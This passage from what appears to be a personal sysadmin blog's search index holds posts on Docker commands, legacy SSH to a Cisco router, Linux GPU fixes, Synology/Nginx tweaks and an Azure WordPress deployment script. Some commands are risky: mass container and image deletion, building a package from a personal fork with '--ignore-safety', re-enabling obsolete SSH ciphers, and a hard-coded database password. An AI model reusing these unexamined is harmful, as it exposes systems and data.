class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker image ls\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eList all existing containers\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker ps -a\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDelete a image\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker image rm image_name\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDelete all images\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker image rm $(docker images -a -q)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eStop a container\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker stop container_name\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eStop all running containers\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker stop $(sudo docker ps -a -q)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDelete a container\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker rm container_name\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDelete all containers\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker rm $(docker ps -a -q)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDisplay logs of a container\u003c/p\u003e","title":"Some useful docker commands"},{"content":"Please follow these steps if you cannot can connect to a router. For example\nssh someusername@blog.wapnet.nl Output\nUnable to negotiate with blog.wapnet.nl port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 use the -o parameter\nssh -o KexAlgorithms=+diffie-hellman-group1-sha1 someusername@blog.wapnet.nl Output:\nUnable to negotiate with blog.wapnet.nl port 22: no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc and add the -c parameter\nssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -c aes256-cbc someusername@blog.wapnet.nl and you are connected :)\nThe authenticity of host \u0026#39;blog.wapnet.nl\u0026#39; can\u0026#39;t be established. RSA key fingerprint is SHA256:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Are you sure you want to continue connecting (yes/no/[fingerprint])? ","permalink":"https://blog.wapnet.nl/2021/07/ubuntu-cannot-connect-to-cisco-router/","summary":"\u003cp\u003ePlease follow these steps if you cannot can connect to a router. For example\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003essh someusername@blog.wapnet.nl\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOutput\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUnable to negotiate with blog.wapnet.nl port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003euse the -o parameter\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003essh -o KexAlgorithms=+diffie-hellman-group1-sha1 someusername@blog.wapnet.nl\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOutput:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUnable to negotiate with blog.wapnet.nl port 22: no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eand add the -c parameter\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003essh -o KexAlgorithms=+diffie-hellman-group1-sha1 -c aes256-cbc  someusername@blog.wapnet.nl\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eand you are connected :)\u003c/p\u003e","title":"Ubuntu cannot connect to Cisco Router"},{"content":"It cost me a lot of time to troubleshoot the screen tearing. So I want to share my solution for everyone with the same frustrating tearing issues. My private setup is a Lenovo Ideapad (gaming) with Nvidia and Intel (Prime) GPU. I use the laptop screen and an external 24\u0026quot; HDMI display.\nIn Windows 10 everything goes smooth but when I switch my dual boot to Linux than the frustrations begin.\nI tried a lot of different Linux distributions (Fedora, Solus, Ubuntu, Pop_OS!, Arch Linux, OpenSuse, and Zorin OS) and I try KDE Plasma, Gnome, and Budgie a lot of hacks for all these systems to get a smooth Linux GUI without screen tearing or other lag.\nBut I don\u0026rsquo;t like manual modifications/hacks to get the Nvidia setup smooth. Especially the proprietary Nvidia drivers can break your system easily. So this fix is easy to remember and easy to switch if you want the power saver back to full and use the Intel driver instead of the Nvidia one.\nImportant, choose your display! What you have to keep in mind when you have a lot of screen tearing is to make a decision. Use your laptop display or external display. You can fix both displays but not at the same time in a smooth way. If I found a solution in the feature I will post it on my blog. But in the meanwhile, I use only one screen at the same time.\nThis procedure is for Ubuntu 20.04 LTS but it will work for other distributions for sure.\nInstall the driver After a fresh ubuntu installation, Nvidia and HDMI do not work as they should be. So, kick off the first command and reboot.\n$ sudo ubuntu-drivers autoinstall\nAnd reboot!\nConfigure Nvidia driver Part I Now configure the Nvidia/Intel prime in on-demand mode. So you can do further configuration in the nvidia-settings gui\n$ sudo prime-select on-demand\nAnd reboot again Now start Nvidia settings and switch to NVIDIA (Performance Mode) Click save and\u0026hellip;.. reboot! Turn off one display Go to your KDE or Gnome display settings and turn off one display. KDE saves these settings so when you plug out the HDMI cable afterward KDE will activate your laptop display. And of course, when you plug in your HDMI cable next time he will turn off your laptop display.\nConfigure Nvidia driver Part II These steps are optional but needed for a better performance.\nStart nvidia-settings \u0026gt; GPU 0 \u0026gt; PowerMixer Change the Preffered Mode to \u0026ldquo;Prefer Maximum Performance\u0026rdquo; Last but not least: Firefox hardware rendering For some compatibility reasons, hardware rendering in Firefox is turned off by default. So you have to enable it.\nabout:config Set layers.acceleration.force-enabled to true Quit Firefox and restart it Some debug information I always use this YouTube video to check if the screen tearing is varnished completely\nhttps://youtu.be/MfL_JkcEFbE\nWhen you want to see if your have the right drivers loaded, use this command:\n$ lspci -k | grep -EA3 'VGA|3D|Display'\nAnd you can start an application with max video power with this command. Change gears to your own program off course. But I like gears because you can see the FPS realtime (see the screen what a differance ;) )\n$ __NV_PRIME_RENDER_OFFLOAD=1 glxgears\nWith nvidia-smi you can see if nvidia is running the application\nEnjoy your tearing free Linux :)\n/edit\nHahaha I saw this video today :) Exactly my thoughts\n","permalink":"https://blog.wapnet.nl/2021/05/fix-screen-tearing-in-linux/","summary":"\u003cp\u003eIt cost me a lot of time to troubleshoot the screen tearing. So I want to share my solution for everyone with the same frustrating tearing issues. My private setup is a Lenovo Ideapad (gaming) with Nvidia and Intel (Prime) GPU. I use the laptop screen and an external 24\u0026quot; HDMI display.\u003c/p\u003e\n\u003cp\u003eIn Windows 10 everything goes smooth but when I switch my dual boot to Linux than the frustrations begin.\u003c/p\u003e","title":"Fix Screen Tearing in Linux"},{"content":"The current 3rth party repo is deprecated so I\u0026rsquo;ve created my own fork for version: 2.0.4-11112\nsudo eopkg bi --ignore-safety https://raw.githubusercontent.com/L0g0ff/3rd-party/master/network/download/synology-drive-client/pspec.xml sudo eopkg it synology-drive-client*.eopkg;sudo rm synology-drive-client*.eopkg Have fun!\n","permalink":"https://blog.wapnet.nl/2021/05/install-synology-drive-client-on-solus-linux/","summary":"\u003cp\u003eThe current 3rth party repo is deprecated so I\u0026rsquo;ve created my own fork for version: 2.0.4-11112\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo eopkg bi \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eignore\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003esafety https:\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003eraw\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003egithubusercontent\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ecom\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eL0g0ff\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003erd\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eparty\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003emaster\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003enetwork\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003edownload\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esynology\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edrive\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eclient\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003epspec\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003exml\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo eopkg it synology\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edrive\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eclient\u003cspan style=\"color:#f92672\"\u003e*.\u003c/span\u003eeopkg;sudo rm synology\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edrive\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eclient\u003cspan style=\"color:#f92672\"\u003e*.\u003c/span\u003eeopkg\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHave fun!\u003c/p\u003e","title":"Install Synology Drive Client on Solus Linux"},{"content":"Looks familiar?\nI want to move this blog to my own NAS because I have plenty enough bandwidth and with Cloudflare as reverse proxy it is secure enough also (and I like to hobby off course ;) ).\nI tried to use the Duplicator WordPress plugin to make a dump of my website and do a restore in the Synology Webstation. But during the database restore in step 2 every time I was getting a 504 gateway timeout after a minute (exactly 60 seconds).\nWhat I could have done was a manual (ftp \u0026amp; database) copy and restore the files. But I was sure I was getting other errors in the future when I had to update WordPress or other plugins. So fixing this timeout issue was the only solution.\nOn different places on the internet, I found that I had change the Nginx site settings. So I put the timeout settings in the associated \u0026ldquo;/etc/nginx/conf.d/ site.conf\u0026rdquo; and restart Nginx and restore the database Nginx was still was failing.\nproxy_connect_timeout 600s; proxy_send_timeout 600s; proxy_read_timeout 600s; send_timeout 600s; Then I\u0026rsquo;ll try to put these lines in the \u0026ldquo;/etc/nginx/nginx.conf\u0026rdquo; but when I restart the nginx the settings were overwritten and my changes are gone.\nEvery time you restart, Nginx Synology make use of a file \u0026ldquo;/usr/syno/share/nginx/nginx.mustache\u0026rdquo; to create a new nginx.conf file. I change the lines in that file and *boom* everything was working :)\nSo TLDR;\nsudo su - vim /usr/syno/share/nginx/nginx.mustache #add these lines send_timeout 600s; proxy_connect_timeout 600s; proxy_send_timeout 600s; proxy_read_timeout 600s; synoservice --restart nginx If you want to see the current Nginx config\nnginx -T Have fun :)\n","permalink":"https://blog.wapnet.nl/2021/02/504-gateway-timeout-on-synology-nas/","summary":"\u003cp\u003eLooks familiar?\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2021/02/nginx.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eI want to move this blog to my own NAS because I have plenty enough bandwidth and with \u003ca href=\"/2018/02/howto-configure-cloudflare-for-wordpress/\"\u003eCloudflare\u003c/a\u003e as reverse proxy it is secure enough also (and I like to hobby off course ;) ).\u003c/p\u003e\n\u003cp\u003eI tried to use the Duplicator WordPress plugin to make a dump of my website and do a restore in the Synology Webstation. But during the database restore in step 2 every time I was getting a 504 gateway timeout after a minute (exactly 60 seconds).\u003c/p\u003e","title":"504 Gateway Timeout on Synology NAS"},{"content":"This is my first completed automated Linux Azure VM deployment. I like to share it with you.\nThere are 3 parts\nCreate a keygen for ssh Powershell script Bash script First start powershell and create a keypair with passphase\nssh-keygen -m PEM -t rsa -b 4096 Then place the bash script somewhere on your local computer\n#! /bin/bash apt-get update apt-get install -y wordpress php libapache2-mod-php mysql-server php-mysql echo \u0026#34;Alias /blog /usr/share/wordpress\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34;\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34; Options FollowSymLinks\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34; AllowOverride Limit Options FileInfo\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34; DirectoryIndex index.php\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34; Order allow,deny\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34; Allow from all\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34;\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34;\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34; Options FollowSymLinks\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34; Order allow,deny\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34; Allow from all\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf echo \u0026#34;\u0026#34; \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf a2ensite wordpress a2enmod rewrite reload apache2 service apache2 reload systemctl restart apache2 mysql -e \u0026#34;CREATE DATABASE wordpress;\u0026#34; mysql -e \u0026#34;CREATE USER wordpress@localhost IDENTIFIED BY \u0026#39;Secret@Pass1\u0026#39;;\u0026#34; mysql -e \u0026#34;GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,ALTER ON wordpress.* TO wordpress@localhost;\u0026#34; mysql -e \u0026#34;FLUSH PRIVILEGES;\u0026#34; echo \u0026#34;\u0026gt;/etc/wordpress/config-localhost.php echo \u0026#34;define(\u0026#39;DB_NAME\u0026#39;, \u0026#39;wordpress\u0026#39;);\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php echo \u0026#34;define(\u0026#39;DB_USER\u0026#39;, \u0026#39;wordpress\u0026#39;);\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php echo \u0026#34;define(\u0026#39;DB_PASSWORD\u0026#39;, \u0026#39;Secret@Pass1\u0026#39;);\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php echo \u0026#34;define(\u0026#39;DB_HOST\u0026#39;, \u0026#39;localhost\u0026#39;);\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php echo \u0026#34;define(\u0026#39;DB_COLLATE\u0026#39;, \u0026#39;utf8_general_ci\u0026#39;);\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php echo \u0026#34;define(\u0026#39;WP_CONTENT_DIR\u0026#39;, \u0026#39;/usr/share/wordpress/wp-content\u0026#39;);\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php echo \u0026#34;?\u0026gt;\u0026#34;\u0026gt;\u0026gt;/etc/wordpress/config-localhost.php service mysql start publicip=$(dig +short myip.opendns.com @resolver1.opendns.com) \u0026amp;\u0026amp; mv /etc/wordpress/config-localhost.php /etc/wordpress/config-$publicip.php Then put the code in the Powershell ISE, change some variables and kickoff the script.\nThe things you may need to change:\nscript.sh location New-AzResourceGroup -Name lxautodeploy -Location westeurope # Create a subnet configuration $subnetConfig = New-AzVirtualNetworkSubnetConfig ` -Name \u0026#34;mySubnet\u0026#34; ` -AddressPrefix 192.168.1.0/24 # Create a virtual network $vnet = New-AzVirtualNetwork ` -ResourceGroupName \u0026#34;lxautodeploy\u0026#34; ` -Location \u0026#34;westeurope\u0026#34; ` -Name \u0026#34;myVNET\u0026#34; ` -AddressPrefix 192.168.0.0/16 ` -Subnet $subnetConfig # Create a public IP address and specify a DNS name $pip = New-AzPublicIpAddress ` -ResourceGroupName \u0026#34;lxautodeploy\u0026#34; ` -Location \u0026#34;westeurope\u0026#34; ` -AllocationMethod Static ` -IdleTimeoutInMinutes 4 ` -Name \u0026#34;mypublicdns$(Get-Random)\u0026#34; # Create an inbound network security group rule for port 22 $nsgRuleSSH = New-AzNetworkSecurityRuleConfig ` -Name \u0026#34;myNetworkSecurityGroupRuleSSH\u0026#34; ` -Protocol \u0026#34;Tcp\u0026#34; ` -Direction \u0026#34;Inbound\u0026#34; ` -Priority 1000 ` -SourceAddressPrefix * ` -SourcePortRange * ` -DestinationAddressPrefix * ` -DestinationPortRange 22 ` -Access \u0026#34;Allow\u0026#34; # Create an inbound network security group rule for port 80 $nsgRuleWeb = New-AzNetworkSecurityRuleConfig ` -Name \u0026#34;myNetworkSecurityGroupRuleWWW\u0026#34; ` -Protocol \u0026#34;Tcp\u0026#34; ` -Direction \u0026#34;Inbound\u0026#34; ` -Priority 1001 ` -SourceAddressPrefix * ` -SourcePortRange * ` -DestinationAddressPrefix * ` -DestinationPortRange 80 ` -Access \u0026#34;Allow\u0026#34; # Create a network security group $nsg = New-AzNetworkSecurityGroup ` -ResourceGroupName \u0026#34;lxautodeploy\u0026#34; ` -Location \u0026#34;westeurope\u0026#34; ` -Name \u0026#34;myNetworkSecurityGroup\u0026#34; ` -SecurityRules $nsgRuleSSH,$nsgRuleWeb # Create a virtual network card and associate with public IP address and NSG $nic = New-AzNetworkInterface ` -Name \u0026#34;myNic\u0026#34; ` -ResourceGroupName \u0026#34;lxautodeploy\u0026#34; ` -Location \u0026#34;westeurope\u0026#34; ` -SubnetId $vnet.Subnets[0].Id ` -PublicIpAddressId $pip.Id ` -NetworkSecurityGroupId $nsg.Id # Define a credential object $securePassword = ConvertTo-SecureString \u0026#39; \u0026#39; -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential (\u0026#34;azureuser\u0026#34;, $securePassword) # Create a virtual machine configuration $vmConfig = New-AzVMConfig ` -VMName \u0026#34;myLXVM\u0026#34; ` -VMSize \u0026#34;Standard_D2s_v3\u0026#34; | ` Set-AzVMOperatingSystem ` -Linux ` -ComputerName \u0026#34;myLXVM\u0026#34; ` -Credential $cred ` -DisablePasswordAuthentication | ` Set-AzVMSourceImage ` -PublisherName \u0026#34;Canonical\u0026#34; ` -Offer \u0026#34;UbuntuServer\u0026#34; ` -Skus \u0026#34;18.04-LTS\u0026#34; ` -Version \u0026#34;latest\u0026#34; | ` Add-AzVMNetworkInterface ` -Id $nic.Id # Configure the SSH key $sshPublicKey = cat ~/.ssh/id_rsa.pub Add-AzVMSshPublicKey ` -VM $vmconfig ` -KeyData $sshPublicKey ` -Path \u0026#34;/home/azureuser/.ssh/authorized_keys\u0026#34; New-AzVM ` -ResourceGroupName \u0026#34;lxautodeploy\u0026#34; ` -Location westeurope -VM $vmConfig Get-AzPublicIpAddress -ResourceGroupName \u0026#34;lxautodeploy\u0026#34; | Select \u0026#34;IpAddress\u0026#34; Invoke-AzVMRunCommand -ResourceGroupName \u0026#34;lxautodeploy\u0026#34; -Name \u0026#39;myLXVM\u0026#39; -CommandId \u0026#39;RunShellScript\u0026#39; -ScriptPath \u0026#34;script.sh\u0026#34; -Verbose Now you can go to http:// /blog to access the new blog\nYou can access the server with ssh azureuser@\nHave fun with it!\n","permalink":"https://blog.wapnet.nl/2021/02/create-azure-linux-vm-with-worpress-pre-installed/","summary":"\u003cp\u003eThis is my first completed automated Linux Azure VM deployment. I like to share it with you.\u003c/p\u003e\n\u003cp\u003eThere are 3 parts\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCreate a keygen for ssh\u003c/li\u003e\n\u003cli\u003ePowershell script\u003c/li\u003e\n\u003cli\u003eBash script\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eFirst start powershell and create a keypair \u003cstrong\u003ewith\u003c/strong\u003e passphase\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003essh-keygen -m PEM -t rsa -b \u003cspan style=\"color:#ae81ff\"\u003e4096\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThen place the bash script somewhere on your local computer\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#! /bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eapt-get update\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eapt-get install -y wordpress php libapache2-mod-php mysql-server php-mysql\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Alias /blog /usr/share/wordpress\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; Options FollowSymLinks\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; AllowOverride Limit Options FileInfo\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; DirectoryIndex index.php\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; Order allow,deny\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; Allow from all\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; Options FollowSymLinks\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; Order allow,deny\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; Allow from all\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt;/etc/apache2/sites-available/wordpress.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e 